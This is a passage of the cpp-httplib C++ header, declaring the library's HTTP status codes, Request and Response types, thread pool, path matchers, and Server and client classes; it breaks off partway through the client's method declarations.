<thread>\n#include <unordered_map>\n#include <unordered_set>\n#include <utility>\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n#ifdef _WIN32\n#include <wincrypt.h>\n\n// these are defined in wincrypt.h and it breaks compilation if BoringSSL is\n// used\n#undef X509_NAME\n#undef X509_CERT_PAIR\n#undef X509_EXTENSIONS\n#undef PKCS7_SIGNER_INFO\n\n#ifdef _MSC_VER\n#pragma comment(lib, \"crypt32.lib\")\n#endif\n#elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__)\n#include <TargetConditionals.h>\n#if TARGET_OS_OSX\n#include <CoreFoundation/CoreFoundation.h>\n#include <Security/Security.h>\n#endif // TARGET_OS_OSX\n#endif // _WIN32\n\n#include <openssl/err.h>\n#include <openssl/evp.h>\n#include <openssl/ssl.h>\n#include <openssl/x509v3.h>\n\n#if defined(_WIN32) && defined(OPENSSL_USE_APPLINK)\n#include <openssl/applink.c>\n#endif\n\n#include <iostream>\n#include <sstream>\n\n#if defined(OPENSSL_IS_BORINGSSL)\n#if OPENSSL_VERSION_NUMBER < 0x1010107f\n#error Please use OpenSSL or a current version of BoringSSL\n#endif\n#define SSL_get1_peer_certificate SSL_get_peer_certificate\n#elif OPENSSL_VERSION_NUMBER < 0x30000000L\n#error Sorry, OpenSSL versions prior to 3.0.0 are not supported\n#endif\n\n#endif\n\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n#include <zlib.h>\n#endif\n\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\n#include <brotli/decode.h>\n#include <brotli/encode.h>\n#endif\n\n/*\n * Declaration\n */\nnamespace httplib {\n\nnamespace detail {\n\n/*\n * Backport std::make_unique from C++14.\n *\n * NOTE: This code came up with the following stackoverflow post:\n * https://stackoverflow.com/questions/10149840/c-arrays-and-make-unique\n *\n */\n\ntemplate <class T, class... Args>\ntypename std::enable_if<!std::is_array<T>::value, std::unique_ptr<T>>::type\nmake_unique(Args &&...args) {\n  return std::unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n\ntemplate <class T>\ntypename std::enable_if<std::is_array<T>::value, std::unique_ptr<T>>::type\nmake_unique(std::size_t n) {\n  typedef typename std::remove_extent<T>::type RT;\n  return std::unique_ptr<T>(new RT[n]);\n}\n\nstruct ci {\n  bool operator()(const std::string &s1, const std::string &s2) const {\n    return std::lexicographical_compare(s1.begin(), s1.end(), s2.begin(),\n                                        s2.end(),\n                                        [](unsigned char c1, unsigned char c2) {\n                                          return ::tolower(c1) < ::tolower(c2);\n                                        });\n  }\n};\n\n// This is based on\n// \"http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4189\".\n\nstruct scope_exit {\n  explicit scope_exit(std::function<void(void)> &&f)\n      : exit_function(std::move(f)), execute_on_destruction{true} {}\n\n  scope_exit(scope_exit &&rhs) noexcept\n      : exit_function(std::move(rhs.exit_function)),\n        execute_on_destruction{rhs.execute_on_destruction} {\n    rhs.release();\n  }\n\n  ~scope_exit() {\n    if (execute_on_destruction) { this->exit_function(); }\n  }\n\n  void release() { this->execute_on_destruction = false; }\n\nprivate:\n  scope_exit(const scope_exit &) = delete;\n  void operator=(const scope_exit &) = delete;\n  scope_exit &operator=(scope_exit &&) = delete;\n\n  std::function<void(void)> exit_function;\n  bool execute_on_destruction;\n};\n\n} // namespace detail\n\nenum StatusCode {\n  // Information responses\n  Continue_100 = 100,\n  SwitchingProtocol_101 = 101,\n  Processing_102 = 102,\n  EarlyHints_103 = 103,\n\n  // Successful responses\n  OK_200 = 200,\n  Created_201 = 201,\n  Accepted_202 = 202,\n  NonAuthoritativeInformation_203 = 203,\n  NoContent_204 = 204,\n  ResetContent_205 = 205,\n  PartialContent_206 = 206,\n  MultiStatus_207 = 207,\n  AlreadyReported_208 = 208,\n  IMUsed_226 = 226,\n\n  // Redirection messages\n  MultipleChoices_300 = 300,\n  MovedPermanently_301 = 301,\n  Found_302 = 302,\n  SeeOther_303 = 303,\n  NotModified_304 = 304,\n  UseProxy_305 = 305,\n  unused_306 = 306,\n  TemporaryRedirect_307 = 307,\n  PermanentRedirect_308 = 308,\n\n  // Client error responses\n  BadRequest_400 = 400,\n  Unauthorized_401 = 401,\n  PaymentRequired_402 = 402,\n  Forbidden_403 = 403,\n  NotFound_404 = 404,\n  MethodNotAllowed_405 = 405,\n  NotAcceptable_406 = 406,\n  ProxyAuthenticationRequired_407 = 407,\n  RequestTimeout_408 = 408,\n  Conflict_409 = 409,\n  Gone_410 = 410,\n  LengthRequired_411 = 411,\n  PreconditionFailed_412 = 412,\n  PayloadTooLarge_413 = 413,\n  UriTooLong_414 = 414,\n  UnsupportedMediaType_415 = 415,\n  RangeNotSatisfiable_416 = 416,\n  ExpectationFailed_417 = 417,\n  ImATeapot_418 = 418,\n  MisdirectedRequest_421 = 421,\n  UnprocessableContent_422 = 422,\n  Locked_423 = 423,\n  FailedDependency_424 = 424,\n  TooEarly_425 = 425,\n  UpgradeRequired_426 = 426,\n  PreconditionRequired_428 = 428,\n  TooManyRequests_429 = 429,\n  RequestHeaderFieldsTooLarge_431 = 431,\n  UnavailableForLegalReasons_451 = 451,\n\n  // Server error responses\n  InternalServerError_500 = 500,\n  NotImplemented_501 = 501,\n  BadGateway_502 = 502,\n  ServiceUnavailable_503 = 503,\n  GatewayTimeout_504 = 504,\n  HttpVersionNotSupported_505 = 505,\n  VariantAlsoNegotiates_506 = 506,\n  InsufficientStorage_507 = 507,\n  LoopDetected_508 = 508,\n  NotExtended_510 = 510,\n  NetworkAuthenticationRequired_511 = 511,\n};\n\nusing Headers = std::multimap<std::string, std::string, detail::ci>;\n\nusing Params = std::multimap<std::string, std::string>;\nusing Match = std::smatch;\n\nusing Progress = std::function<bool(uint64_t current, uint64_t total)>;\n\nstruct Response;\nusing ResponseHandler = std::function<bool(const Response &response)>;\n\nstruct MultipartFormData {\n  std::string name;\n  std::string content;\n  std::string filename;\n  std::string content_type;\n};\nusing MultipartFormDataItems = std::vector<MultipartFormData>;\nusing MultipartFormDataMap = std::multimap<std::string, MultipartFormData>;\n\nclass DataSink {\npublic:\n  DataSink() : os(&sb_), sb_(*this) {}\n\n  DataSink(const DataSink &) = delete;\n  DataSink &operator=(const DataSink &) = delete;\n  DataSink(DataSink &&) = delete;\n  DataSink &operator=(DataSink &&) = delete;\n\n  std::function<bool(const char *data, size_t data_len)> write;\n  std::function<bool()> is_writable;\n  std::function<void()> done;\n  std::function<void(const Headers &trailer)> done_with_trailer;\n  std::ostream os;\n\nprivate:\n  class data_sink_streambuf final : public std::streambuf {\n  public:\n    explicit data_sink_streambuf(DataSink &sink) : sink_(sink) {}\n\n  protected:\n    std::streamsize xsputn(const char *s, std::streamsize n) override {\n      sink_.write(s, static_cast<size_t>(n));\n      return n;\n    }\n\n  private:\n    DataSink &sink_;\n  };\n\n  data_sink_streambuf sb_;\n};\n\nusing ContentProvider =\n    std::function<bool(size_t offset, size_t length, DataSink &sink)>;\n\nusing ContentProviderWithoutLength =\n    std::function<bool(size_t offset, DataSink &sink)>;\n\nusing ContentProviderResourceReleaser = std::function<void(bool success)>;\n\nstruct MultipartFormDataProvider {\n  std::string name;\n  ContentProviderWithoutLength provider;\n  std::string filename;\n  std::string content_type;\n};\nusing MultipartFormDataProviderItems = std::vector<MultipartFormDataProvider>;\n\nusing ContentReceiverWithProgress =\n    std::function<bool(const char *data, size_t data_length, uint64_t offset,\n                       uint64_t total_length)>;\n\nusing ContentReceiver =\n    std::function<bool(const char *data, size_t data_length)>;\n\nusing MultipartContentHeader =\n    std::function<bool(const MultipartFormData &file)>;\n\nclass ContentReader {\npublic:\n  using Reader = std::function<bool(ContentReceiver receiver)>;\n  using MultipartReader = std::function<bool(MultipartContentHeader header,\n                                             ContentReceiver receiver)>;\n\n  ContentReader(Reader reader, MultipartReader multipart_reader)\n      : reader_(std::move(reader)),\n        multipart_reader_(std::move(multipart_reader)) {}\n\n  bool operator()(MultipartContentHeader header,\n                  ContentReceiver receiver) const {\n    return multipart_reader_(std::move(header), std::move(receiver));\n  }\n\n  bool operator()(ContentReceiver receiver) const {\n    return reader_(std::move(receiver));\n  }\n\n  Reader reader_;\n  MultipartReader multipart_reader_;\n};\n\nusing Range = std::pair<ssize_t, ssize_t>;\nusing Ranges = std::vector<Range>;\n\nstruct Request {\n  std::string method;\n  std::string path;\n  Headers headers;\n  std::string body;\n\n  std::string remote_addr;\n  int remote_port = -1;\n  std::string local_addr;\n  int local_port = -1;\n\n  // for server\n  std::string version;\n  std::string target;\n  Params params;\n  MultipartFormDataMap files;\n  Ranges ranges;\n  Match matches;\n  std::unordered_map<std::string, std::string> path_params;\n\n  // for client\n  ResponseHandler response_handler;\n  ContentReceiverWithProgress content_receiver;\n  Progress progress;\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  const SSL *ssl = nullptr;\n#endif\n\n  bool has_header(const std::string &key) const;\n  std::string get_header_value(const std::string &key, size_t id = 0) const;\n  uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const;\n  size_t get_header_value_count(const std::string &key) const;\n  void set_header(const std::string &key, const std::string &val);\n\n  bool has_param(const std::string &key) const;\n  std::string get_param_value(const std::string &key, size_t id = 0) const;\n  size_t get_param_value_count(const std::string &key) const;\n\n  bool is_multipart_form_data() const;\n\n  bool has_file(const std::string &key) const;\n  MultipartFormData get_file_value(const std::string &key) const;\n  std::vector<MultipartFormData> get_file_values(const std::string &key) const;\n\n  // private members...\n  size_t redirect_count_ = CPPHTTPLIB_REDIRECT_MAX_COUNT;\n  size_t content_length_ = 0;\n  ContentProvider content_provider_;\n  bool is_chunked_content_provider_ = false;\n  size_t authorization_count_ = 0;\n};\n\nstruct Response {\n  std::string version;\n  int status = -1;\n  std::string reason;\n  Headers headers;\n  std::string body;\n  std::string location; // Redirect location\n\n  bool has_header(const std::string &key) const;\n  std::string get_header_value(const std::string &key, size_t id = 0) const;\n  uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const;\n  size_t get_header_value_count(const std::string &key) const;\n  void set_header(const std::string &key, const std::string &val);\n\n  void set_redirect(const std::string &url, int status = StatusCode::Found_302);\n  void set_content(const char *s, size_t n, const std::string &content_type);\n  void set_content(const std::string &s, const std::string &content_type);\n  void set_content(std::string &&s, const std::string &content_type);\n\n  void set_content_provider(\n      size_t length, const std::string &content_type, ContentProvider provider,\n      ContentProviderResourceReleaser resource_releaser = nullptr);\n\n  void set_content_provider(\n      const std::string &content_type, ContentProviderWithoutLength provider,\n      ContentProviderResourceReleaser resource_releaser = nullptr);\n\n  void set_chunked_content_provider(\n      const std::string &content_type, ContentProviderWithoutLength provider,\n      ContentProviderResourceReleaser resource_releaser = nullptr);\n\n  Response() = default;\n  Response(const Response &) = default;\n  Response &operator=(const Response &) = default;\n  Response(Response &&) = default;\n  Response &operator=(Response &&) = default;\n  ~Response() {\n    if (content_provider_resource_releaser_) {\n      content_provider_resource_releaser_(content_provider_success_);\n    }\n  }\n\n  // private members...\n  size_t content_length_ = 0;\n  ContentProvider content_provider_;\n  ContentProviderResourceReleaser content_provider_resource_releaser_;\n  bool is_chunked_content_provider_ = false;\n  bool content_provider_success_ = false;\n};\n\nclass Stream {\npublic:\n  virtual ~Stream() = default;\n\n  virtual bool is_readable() const = 0;\n  virtual bool is_writable() const = 0;\n\n  virtual ssize_t read(char *ptr, size_t size) = 0;\n  virtual ssize_t write(const char *ptr, size_t size) = 0;\n  virtual void get_remote_ip_and_port(std::string &ip, int &port) const = 0;\n  virtual void get_local_ip_and_port(std::string &ip, int &port) const = 0;\n  virtual socket_t socket() const = 0;\n\n  template <typename... Args>\n  ssize_t write_format(const char *fmt, const Args &...args);\n  ssize_t write(const char *ptr);\n  ssize_t write(const std::string &s);\n};\n\nclass TaskQueue {\npublic:\n  TaskQueue() = default;\n  virtual ~TaskQueue() = default;\n\n  virtual bool enqueue(std::function<void()> fn) = 0;\n  virtual void shutdown() = 0;\n\n  virtual void on_idle() {}\n};\n\nclass ThreadPool final : public TaskQueue {\npublic:\n  explicit ThreadPool(size_t n, size_t mqr = 0)\n      : shutdown_(false), max_queued_requests_(mqr) {\n    while (n) {\n      threads_.emplace_back(worker(*this));\n      n--;\n    }\n  }\n\n  ThreadPool(const ThreadPool &) = delete;\n  ~ThreadPool() override = default;\n\n  bool enqueue(std::function<void()> fn) override {\n    {\n      std::unique_lock<std::mutex> lock(mutex_);\n      if (max_queued_requests_ > 0 && jobs_.size() >= max_queued_requests_) {\n        return false;\n      }\n      jobs_.push_back(std::move(fn));\n    }\n\n    cond_.notify_one();\n    return true;\n  }\n\n  void shutdown() override {\n    // Stop all worker threads...\n    {\n      std::unique_lock<std::mutex> lock(mutex_);\n      shutdown_ = true;\n    }\n\n    cond_.notify_all();\n\n    // Join...\n    for (auto &t : threads_) {\n      t.join();\n    }\n  }\n\nprivate:\n  struct worker {\n    explicit worker(ThreadPool &pool) : pool_(pool) {}\n\n    void operator()() {\n      for (;;) {\n        std::function<void()> fn;\n        {\n          std::unique_lock<std::mutex> lock(pool_.mutex_);\n\n          pool_.cond_.wait(\n              lock, [&] { return !pool_.jobs_.empty() || pool_.shutdown_; });\n\n          if (pool_.shutdown_ && pool_.jobs_.empty()) { break; }\n\n          fn = pool_.jobs_.front();\n          pool_.jobs_.pop_front();\n        }\n\n        assert(true == static_cast<bool>(fn));\n        fn();\n      }\n\n#if defined(CPPHTTPLIB_OPENSSL_SUPPORT) && !defined(OPENSSL_IS_BORINGSSL)\n      OPENSSL_thread_stop();\n#endif\n    }\n\n    ThreadPool &pool_;\n  };\n  friend struct worker;\n\n  std::vector<std::thread> threads_;\n  std::list<std::function<void()>> jobs_;\n\n  bool shutdown_;\n  size_t max_queued_requests_ = 0;\n\n  std::condition_variable cond_;\n  std::mutex mutex_;\n};\n\nusing Logger = std::function<void(const Request &, const Response &)>;\n\nusing SocketOptions = std::function<void(socket_t sock)>;\n\nvoid default_socket_options(socket_t sock);\n\nconst char *status_message(int status);\n\nstd::string get_bearer_token_auth(const Request &req);\n\nnamespace detail {\n\nclass MatcherBase {\npublic:\n  virtual ~MatcherBase() = default;\n\n  // Match request path and populate its matches and\n  virtual bool match(Request &request) const = 0;\n};\n\n/**\n * Captures parameters in request path and stores them in Request::path_params\n *\n * Capture name is a substring of a pattern from : to /.\n * The rest of the pattern is matched agains the request path directly\n * Parameters are captured starting from the next character after\n * the end of the last matched static pattern fragment until the next /.\n *\n * Example pattern:\n * \"/path/fragments/:capture/more/fragments/:second_capture\"\n * Static fragments:\n * \"/path/fragments/\", \"more/fragments/\"\n *\n * Given the following request path:\n * \"/path/fragments/:1/more/fragments/:2\"\n * the resulting capture will be\n * {{\"capture\", \"1\"}, {\"second_capture\", \"2\"}}\n */\nclass PathParamsMatcher final : public MatcherBase {\npublic:\n  PathParamsMatcher(const std::string &pattern);\n\n  bool match(Request &request) const override;\n\nprivate:\n  static constexpr char marker = ':';\n  // Treat segment separators as the end of path parameter capture\n  // Does not need to handle query parameters as they are parsed before path\n  // matching\n  static constexpr char separator = '/';\n\n  // Contains static path fragments to match against, excluding the '/' after\n  // path params\n  // Fragments are separated by path params\n  std::vector<std::string> static_fragments_;\n  // Stores the names of the path parameters to be used as keys in the\n  // Request::path_params map\n  std::vector<std::string> param_names_;\n};\n\n/**\n * Performs std::regex_match on request path\n * and stores the result in Request::matches\n *\n * Note that regex match is performed directly on the whole request.\n * This means that wildcard patterns may match multiple path segments with /:\n * \"/begin/(.*)/end\" will match both \"/begin/middle/end\" and \"/begin/1/2/end\".\n */\nclass RegexMatcher final : public MatcherBase {\npublic:\n  RegexMatcher(const std::string &pattern) : regex_(pattern) {}\n\n  bool match(Request &request) const override;\n\nprivate:\n  std::regex regex_;\n};\n\nssize_t write_headers(Stream &strm, const Headers &headers);\n\n} // namespace detail\n\nclass Server {\npublic:\n  using Handler = std::function<void(const Request &, Response &)>;\n\n  using ExceptionHandler =\n      std::function<void(const Request &, Response &, std::exception_ptr ep)>;\n\n  enum class HandlerResponse {\n    Handled,\n    Unhandled,\n  };\n  using HandlerWithResponse =\n      std::function<HandlerResponse(const Request &, Response &)>;\n\n  using HandlerWithContentReader = std::function<void(\n      const Request &, Response &, const ContentReader &content_reader)>;\n\n  using Expect100ContinueHandler =\n      std::function<int(const Request &, Response &)>;\n\n  Server();\n\n  virtual ~Server();\n\n  virtual bool is_valid() const;\n\n  Server &Get(const std::string &pattern, Handler handler);\n  Server &Post(const std::string &pattern, Handler handler);\n  Server &Post(const std::string &pattern, HandlerWithContentReader handler);\n  Server &Put(const std::string &pattern, Handler handler);\n  Server &Put(const std::string &pattern, HandlerWithContentReader handler);\n  Server &Patch(const std::string &pattern, Handler handler);\n  Server &Patch(const std::string &pattern, HandlerWithContentReader handler);\n  Server &Delete(const std::string &pattern, Handler handler);\n  Server &Delete(const std::string &pattern, HandlerWithContentReader handler);\n  Server &Options(const std::string &pattern, Handler handler);\n\n  bool set_base_dir(const std::string &dir,\n                    const std::string &mount_point = std::string());\n  bool set_mount_point(const std::string &mount_point, const std::string &dir,\n                       Headers headers = Headers());\n  bool remove_mount_point(const std::string &mount_point);\n  Server &set_file_extension_and_mimetype_mapping(const std::string &ext,\n                                                  const std::string &mime);\n  Server &set_default_file_mimetype(const std::string &mime);\n  Server &set_file_request_handler(Handler handler);\n\n  template <class ErrorHandlerFunc>\n  Server &set_error_handler(ErrorHandlerFunc &&handler) {\n    return set_error_handler_core(\n        std::forward<ErrorHandlerFunc>(handler),\n        std::is_convertible<ErrorHandlerFunc, HandlerWithResponse>{});\n  }\n\n  Server &set_exception_handler(ExceptionHandler handler);\n  Server &set_pre_routing_handler(HandlerWithResponse handler);\n  Server &set_post_routing_handler(Handler handler);\n\n  Server &set_expect_100_continue_handler(Expect100ContinueHandler handler);\n  Server &set_logger(Logger logger);\n\n  Server &set_address_family(int family);\n  Server &set_tcp_nodelay(bool on);\n  Server &set_socket_options(SocketOptions socket_options);\n\n  Server &set_default_headers(Headers headers);\n  Server &\n  set_header_writer(std::function<ssize_t(Stream &, Headers &)> const &writer);\n\n  Server &set_keep_alive_max_count(size_t count);\n  Server &set_keep_alive_timeout(time_t sec);\n\n  Server &set_read_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  Server &set_read_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  Server &set_write_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  Server &set_write_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  Server &set_idle_interval(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  Server &set_idle_interval(const std::chrono::duration<Rep, Period> &duration);\n\n  Server &set_payload_max_length(size_t length);\n\n  bool bind_to_port(const std::string &host, int port, int socket_flags = 0);\n  int bind_to_any_port(const std::string &host, int socket_flags = 0);\n  bool listen_after_bind();\n\n  bool listen(const std::string &host, int port, int socket_flags = 0);\n\n  bool is_running() const;\n  void wait_until_ready() const;\n  void stop();\n\n  std::function<TaskQueue *(void)> new_task_queue;\n\nprotected:\n  bool process_request(Stream &strm, bool close_connection,\n                       bool &connection_closed,\n                       const std::function<void(Request &)> &setup_request);\n\n  std::atomic<socket_t> svr_sock_{INVALID_SOCKET};\n  size_t keep_alive_max_count_ = CPPHTTPLIB_KEEPALIVE_MAX_COUNT;\n  time_t keep_alive_timeout_sec_ = CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND;\n  time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND;\n  time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND;\n  time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND;\n  time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND;\n  time_t idle_interval_sec_ = CPPHTTPLIB_IDLE_INTERVAL_SECOND;\n  time_t idle_interval_usec_ = CPPHTTPLIB_IDLE_INTERVAL_USECOND;\n  size_t payload_max_length_ = CPPHTTPLIB_PAYLOAD_MAX_LENGTH;\n\nprivate:\n  using Handlers =\n      std::vector<std::pair<std::unique_ptr<detail::MatcherBase>, Handler>>;\n  using HandlersForContentReader =\n      std::vector<std::pair<std::unique_ptr<detail::MatcherBase>,\n                            HandlerWithContentReader>>;\n\n  static std::unique_ptr<detail::MatcherBase>\n  make_matcher(const std::string &pattern);\n\n  Server &set_error_handler_core(HandlerWithResponse handler, std::true_type);\n  Server &set_error_handler_core(Handler handler, std::false_type);\n\n  socket_t create_server_socket(const std::string &host, int port,\n                                int socket_flags,\n                                SocketOptions socket_options) const;\n  int bind_internal(const std::string &host, int port, int socket_flags);\n  bool listen_internal();\n\n  bool routing(Request &req, Response &res, Stream &strm);\n  bool handle_file_request(const Request &req, Response &res,\n                           bool head = false);\n  bool dispatch_request(Request &req, Response &res,\n                        const Handlers &handlers) const;\n  bool dispatch_request_for_content_reader(\n      Request &req, Response &res, ContentReader content_reader,\n      const HandlersForContentReader &handlers) const;\n\n  bool parse_request_line(const char *s, Request &req) const;\n  void apply_ranges(const Request &req, Response &res,\n                    std::string &content_type, std::string &boundary) const;\n  bool write_response(Stream &strm, bool close_connection, Request &req,\n                      Response &res);\n  bool write_response_with_content(Stream &strm, bool close_connection,\n                                   const Request &req, Response &res);\n  bool write_response_core(Stream &strm, bool close_connection,\n                           const Request &req, Response &res,\n                           bool need_apply_ranges);\n  bool write_content_with_provider(Stream &strm, const Request &req,\n                                   Response &res, const std::string &boundary,\n                                   const std::string &content_type);\n  bool read_content(Stream &strm, Request &req, Response &res);\n  bool\n  read_content_with_content_receiver(Stream &strm, Request &req, Response &res,\n                                     ContentReceiver receiver,\n                                     MultipartContentHeader multipart_header,\n                                     ContentReceiver multipart_receiver);\n  bool read_content_core(Stream &strm, Request &req, Response &res,\n                         ContentReceiver receiver,\n                         MultipartContentHeader multipart_header,\n                         ContentReceiver multipart_receiver) const;\n\n  virtual bool process_and_close_socket(socket_t sock);\n\n  std::atomic<bool> is_running_{false};\n  std::atomic<bool> done_{false};\n\n  struct MountPointEntry {\n    std::string mount_point;\n    std::string base_dir;\n    Headers headers;\n  };\n  std::vector<MountPointEntry> base_dirs_;\n  std::map<std::string, std::string> file_extension_and_mimetype_map_;\n  std::string default_file_mimetype_ = \"application/octet-stream\";\n  Handler file_request_handler_;\n\n  Handlers get_handlers_;\n  Handlers post_handlers_;\n  HandlersForContentReader post_handlers_for_content_reader_;\n  Handlers put_handlers_;\n  HandlersForContentReader put_handlers_for_content_reader_;\n  Handlers patch_handlers_;\n  HandlersForContentReader patch_handlers_for_content_reader_;\n  Handlers delete_handlers_;\n  HandlersForContentReader delete_handlers_for_content_reader_;\n  Handlers options_handlers_;\n\n  HandlerWithResponse error_handler_;\n  ExceptionHandler exception_handler_;\n  HandlerWithResponse pre_routing_handler_;\n  Handler post_routing_handler_;\n  Expect100ContinueHandler expect_100_continue_handler_;\n\n  Logger logger_;\n\n  int address_family_ = AF_UNSPEC;\n  bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY;\n  SocketOptions socket_options_ = default_socket_options;\n\n  Headers default_headers_;\n  std::function<ssize_t(Stream &, Headers &)> header_writer_ =\n      detail::write_headers;\n};\n\nenum class Error {\n  Success = 0,\n  Unknown,\n  Connection,\n  BindIPAddress,\n  Read,\n  Write,\n  ExceedRedirectCount,\n  Canceled,\n  SSLConnection,\n  SSLLoadingCerts,\n  SSLServerVerification,\n  UnsupportedMultipartBoundaryChars,\n  Compression,\n  ConnectionTimeout,\n  ProxyConnection,\n\n  // For internal use only\n  SSLPeerCouldBeClosed_,\n};\n\nstd::string to_string(Error error);\n\nstd::ostream &operator<<(std::ostream &os, const Error &obj);\n\nclass Result {\npublic:\n  Result() = default;\n  Result(std::unique_ptr<Response> &&res, Error err,\n         Headers &&request_headers = Headers{})\n      : res_(std::move(res)), err_(err),\n        request_headers_(std::move(request_headers)) {}\n  // Response\n  operator bool() const { return res_ != nullptr; }\n  bool operator==(std::nullptr_t) const { return res_ == nullptr; }\n  bool operator!=(std::nullptr_t) const { return res_ != nullptr; }\n  const Response &value() const { return *res_; }\n  Response &value() { return *res_; }\n  const Response &operator*() const { return *res_; }\n  Response &operator*() { return *res_; }\n  const Response *operator->() const { return res_.get(); }\n  Response *operator->() { return res_.get(); }\n\n  // Error\n  Error error() const { return err_; }\n\n  // Request Headers\n  bool has_request_header(const std::string &key) const;\n  std::string get_request_header_value(const std::string &key,\n                                       size_t id = 0) const;\n  uint64_t get_request_header_value_u64(const std::string &key,\n                                        size_t id = 0) const;\n  size_t get_request_header_value_count(const std::string &key) const;\n\nprivate:\n  std::unique_ptr<Response> res_;\n  Error err_ = Error::Unknown;\n  Headers request_headers_;\n};\n\nclass ClientImpl {\npublic:\n  explicit ClientImpl(const std::string &host);\n\n  explicit ClientImpl(const std::string &host, int port);\n\n  explicit ClientImpl(const std::string &host, int port,\n                      const std::string &client_cert_path,\n                      const std::string &client_key_path);\n\n  virtual ~ClientImpl();\n\n  virtual bool is_valid() const;\n\n  Result Get(const std::string &path);\n  Result Get(const std::string &path, const Headers &headers);\n  Result Get(const std::string &path, Progress progress);\n  Result Get(const std::string &path, const Headers &headers,\n             Progress progress);\n  Result Get(const std::string &path, ContentReceiver content_receiver);\n  Result Get(const std::string &path, const Headers &headers,\n             ContentReceiver content_receiver);\n  Result Get(const std::string &path, ContentReceiver content_receiver,\n             Progress progress);\n  Result Get(const std::string &path, const Headers &headers,\n             ContentReceiver content_receiver, Progress progress);\n  Result Get(const std::string &path, ResponseHandler response_handler,\n             ContentReceiver content_receiver);\n  Result Get(const std::string &path, const Headers &headers,\n             ResponseHandler response_handler,\n             ContentReceiver content_receiver);\n  Result Get(const std::string &path, ResponseHandler response_handler,\n             ContentReceiver content_receiver, Progress progress);\n  Result Get(const std::string &path, const Headers &headers,\n             ResponseHandler response_handler, ContentReceiver content_receiver,\n             Progress progress);\n\n  Result Get(const std::string &path, const Params &params,\n             const Headers &headers, Progress progress = nullptr);\n  Result Get(const std::string &path, const Params &params,\n             const Headers &headers, ContentReceiver content_receiver,\n             Progress progress = nullptr);\n  Result Get(const std::string &path, const Params &params,\n             const Headers &headers, ResponseHandler response_handler,\n             ContentReceiver content_receiver, Progress progress = nullptr);\n\n  Result Head(const std::string &path);\n  Result Head(const std::string &path, const Headers &headers);\n\n  Result Post(const std::string &path);\n  Result Post(const std::string &path, const Headers &headers);\n  Result Post(const std::string &path, const char *body, size_t content_length,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers, const char *body,\n              size_t content_length, const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers, const char *body,\n              size_t content_length, const std::string &content_type,\n              Progress progress);\n  Result Post(const std::string &path, const std::string &body,\n              const std::string &content_type);\n  Result Post(const std::string &path, const std::string &body,\n              const std::string &content_type, Progress progress);\n  Result Post(const std::string &path, const Headers &headers,\n              const std::string &body, const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers,\n              const std::string &body, const std::string &content_type,\n              Progress progress);\n  Result Post(const std::string &path, size_t content_length,\n              ContentProvider content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path,\n              ContentProviderWithoutLength content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers,\n              size_t content_length, ContentProvider content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers,\n              ContentProviderWithoutLength content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Params &params);\n  Result Post(const std::string &path, const Headers &headers,\n              const Params &params);\n  Result Post(const std::string &path, const Headers &headers,\n              const Params &params, Progress progress);\n  Result Post(const std::string &path, const MultipartFormDataItems &items);\n  Result Post(const std::string &path, const Headers &headers,\n              const MultipartFormDataItems &items);\n  Result Post(const std::string &path, const Headers &headers,\n              const MultipartFormDataItems &items, const std::string &boundary);\n  Result Post(const std::string &path, const Headers &headers,\n              const MultipartFormDataItems &items,\n              const MultipartFormDataProviderItems &provider_items);\n\n  Result Put(const std::string &path);\n  Result Put(const std::string &path, const char *body, size_t content_length,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers, const char *body,\n             size_t content_length, const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers, const char *body,\n             size_t content_length, const std::string &content_type,\n             Progress progress);\n  Result Put(const std::string &path, const std::string &body,\n             const std::string &content_type);\n  Result Put(const std::string &path, const std::string &body,\n             const std::string &content_type, Progress progress);\n  Result Put(const std::string &path, const Headers &headers,\n             const std::string &body, const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers,\n             const std::string &body, const std::string &content_type,\n             Progress progress);\n  Result Put(const std::string &path, size_t content_length,\n             ContentProvider content_provider, const std::string &content_type);\n  Result Put(const std::string &path,\n             ContentProviderWithoutLength content_provider,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers,\n             size_t content_length, ContentProvider content_provider,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers,\n             ContentProviderWithoutLength content_provider,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Params &params);\n  Result Put(const std::string &path, const Headers &headers,\n             const Params &params);\n  Result Put(const std::string &path, const Headers &headers,\n             const Params &params, Progress progress);\n  Result Put(const std::string &path, const MultipartFormDataItems &items);\n  Result Put(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items);\n  Result Put(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items, const std::string &boundary);\n  Result Put(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items,\n             const MultipartFormDataProviderItems &provider_items);\n\n  Result Patch(const std::string &path);\n  Result Patch(const std::string &path, const char *body, size_t content_length,\n               const std::string &content_type);\n  